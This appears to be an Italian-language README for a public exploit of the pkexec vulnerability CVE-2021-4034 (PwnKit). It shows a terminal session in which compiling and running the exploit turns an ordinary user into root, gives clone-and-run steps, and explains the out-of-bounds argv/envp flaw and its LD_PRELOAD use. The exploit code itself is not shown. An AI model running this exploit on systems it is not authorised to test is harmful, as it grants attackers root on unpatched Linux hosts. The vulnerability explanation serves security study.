PwnKit-Exploit

CVE-2021-4034

Prova di Concetto

debian@debian:~/PwnKit-Exploit$ make
cc -Wall    exploit.c   -o exploit
debian@debian:~/PwnKit-Exploit$ whoami
debian
debian@debian:~/PwnKit-Exploit$ ./exploit
Current User before execute exploit
hacker@victim$whoami: debian
Exploit written by @luijait (0x6c75696a616974)
[+] Enjoy your root if exploit was completed succesfully
root@debian:/home/debian/PwnKit-Exploit# whoami
root
root@debian:/home/debian/PwnKit-Exploit# 

Correzione

Installazione e Utilizzo

git clone https://github.com/luijait/PwnKit-Exploit

cd PwnKit-Exploit

make

./exploit

whoami

Spiegazione

Basato sul blog di qualys.com

L'inizio della funzione main() di pkexec elabora gli argomenti della riga di comando (righe 534-568) e cerca il programma da eseguire, se il suo percorso non è assoluto, nelle directory della variabile d'ambiente PATH (righe 610-640):

435 main (int argc, char *argv[])
436 {
...
534   for (n = 1; n < (guint) argc; n++)
535     {
...
568     }
...
610   path = g_strdup (argv[n]);
...
629   if (path[0] != '/')
630     {
...
632       s = g_find_program_in_path (path);
...
639       argv[n] = path = s;
640     }

sfortunatamente, se il numero di argomenti della riga di comando argc è 0 – il che significa se la lista di argomenti argv che passiamo a execve() è vuota, cioè {NULL} – allora argv[0] è NULL. Questo è il terminatore della lista di argomenti. Pertanto:

• alla riga 534, l'intero n è impostato permanentemente a 1;
• alla riga 610, il puntatore path viene letto fuori dai limiti da argv[1];
• alla riga 639, il puntatore s viene scritto fuori dai limiti su argv[1].

Ma cosa viene esattamente letto e scritto su questo argv[1] fuori dai limiti?

Per rispondere a questa domanda, dobbiamo brevemente divagare. Quando eseguiamo execve() su un nuovo programma, il kernel copia i nostri argomenti, le stringhe d'ambiente e i puntatori (argv e envp) alla fine dello stack del nuovo programma; per esempio:

|---------+---------+-----+------------|---------+---------+-----+------------| 
| argv[0] | argv[1] | ... | argv[argc] | envp[0] | envp[1] | ... | envp[envc] | 
|----|----+----|----+-----+-----|------|----|----+----|----+-----+-----|------| 
V         V                V           V         V                V 

"program" "-option"           NULL      "value" "PATH=name"          NULL 

Chiaramente, poiché i puntatori argv e envp sono contigui in memoria, se argc è 0, allora argv[1] fuori dai limiti è in realtà envp[0], il puntatore alla nostra prima variabile d'ambiente, "value". Di conseguenza:

• Alla riga 610, il percorso del programma da eseguire viene letto fuori dai limiti da argv[1] (cioè envp[0]), e punta a "value";
• Alla riga 632, questo percorso "value" viene passato a g_find_program_in_path() (perché "value" non inizia con una barra, alla riga 629);
• Quindi, g_find_program_in_path() cerca un file eseguibile chiamato "value" nelle directory della nostra variabile d'ambiente PATH;
• Se viene trovato un tale file eseguibile, il suo percorso completo viene restituito alla funzione main() di pkexec (alla riga 632);
• Infine, alla riga 639, questo percorso completo viene scritto fuori dai limiti su argv[1] (cioè envp[0]), sovrascrivendo così la nostra prima variabile d'ambiente.

Quindi, espresso più precisamente:

• Se la nostra variabile d'ambiente PATH è "PATH=name", e se la directory "name" esiste (nella directory di lavoro corrente) e contiene un file eseguibile di nome "value", allora un puntatore alla stringa "name/value" viene scritto fuori dai limiti su envp[0];
• Se il nostro PATH è "PATH=name=.", e se la directory "name=." esiste e contiene un file eseguibile di nome "value", allora un puntatore alla stringa "name=./value" viene scritto fuori dai limiti su envp[0].

In altre parole, questa scrittura fuori dai limiti ci permette di reintrodurre una variabile d'ambiente "non sicura" (ad esempio, LD_PRELOAD) nell'ambiente di pkexec. Queste variabili "non sicure" vengono normalmente rimosse (da ld.so) dall'ambiente dei programmi SUID prima che la funzione main() venga chiamata. Sfrutteremo questa potente primitiva nella sezione seguente.

Nota dell'ultimo minuto: polkit supporta anche sistemi operativi non Linux come Solaris e *BSD, ma non abbiamo investigato la loro sfruttabilità. Tuttavia, notiamo che OpenBSD non è sfruttabile, perché il suo kernel rifiuta di eseguire execve() su un programma se argc è 0.